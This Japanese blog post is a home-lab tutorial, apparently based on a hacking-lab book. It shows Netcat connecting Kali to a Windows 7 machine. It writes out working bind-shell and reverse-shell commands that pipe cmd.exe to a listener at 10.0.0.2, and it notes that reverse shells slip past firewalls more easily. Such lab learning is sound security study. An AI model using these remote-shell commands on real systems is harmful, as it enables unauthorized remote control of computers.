今回は Netcat を使用して Kali から Windows 7 を操作します。
前回の記事で記載しましたが、Netcat とはTCP/UDPなどの通信をコマンドラインから発生させるツールです。
Netcat 接続
Windows 側で以下コマンドを実行すると、5555番ポートで通信を待ち受けます。
C:\Work\nc111nt_safe>nc.exe -lvp 5555
その後、Kali で以下コマンドを実行すれば、Windows7に5555番ポートで接続しにいきます
root@kali:~# nc <Windows7のIPアドレス> 5555
接続が成功すると、その後は以下のようにデータのやり取りを行えるようになります。
[ Windows 7]

[Kali Linux]

上記を見るとわかりますが、一方で入力した文字列が、接続相手のコンソールに表示されています。
これを利用することで、相手のシェルを操作することが可能となります。
バインドシェル
バインドシェルとは、攻撃側端末からターゲット端末に接続する形でシェルを操作することです。
どうやってシェルを操作するかというと、先程のようにNetcatで接続した状態で入力した文字列をシェルにリダイレクトさせることで実現します。
実際にやっていきましょう。
まず、Windows 7 側で以下コマンドを実行します。
C:\Work\nc111nt>nc.exe -lvp 5555 -e cmd.exe
先程との差異は、末尾の「-e cmd.exe」です。
これは、コマンドプロンプトに入出力結果をリダイレクトさせています。
この状態で、Kaliでは先程と同じ以下コマンドを実行します。
root@kali:~# nc <Windows7のIPアドレス> 5555
そうすることで、KaliとWindows 7の接続が行われます。
今回はコマンドプロンプトを指定しているため、Kali側にWindows 7のコマンドプロンプトが表示されます。

更にこの状態でKali側から「ipconfig」を実行すると、Windows側に送信され、実際にipconfig が実行され、その結果がKaliに送信されるという仕組みです。
これでKaliからの遠隔操作が実現できます。
リバースシェル
次に、リバースシェルで遠隔操作を行います。
リバースシェルとは、バインドシェルとは反対に、ターゲット端末から攻撃者端末に接続を開始する形でターゲット端末のシェルを操作します。
そうすることで通信の方向としては内部から外部となるため、ファイアウォールで遮断されにくくなります。
それでは実際にやっていきます。
今回はKaliで通信を待ち受けるため、まずKaliで以下コマンドを実行します。
root@kali:~# nc -lvp 5555
そして、Windows 7で以下コマンドを実行します。
C:\Work\nc111nt>nc.exe 10.0.0.2 5555 -e cmd.exe
そうすると、先程と同じように接続が開始され、Kali側ではWindows 7のコマンドプロンプトが表示されます。

同じように、「ipconfig」等のコマンド実行が行えました。
Netcatによる遠隔操作は以上です。
ハッカーへの階段を一歩ずつ登っている感じがして、楽しくやっていけています。
次回は、「Metasploit Framework」をやっていきます。
くどり
この記事は「ハッキング・ラボのつくりかた 第4章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。
コメント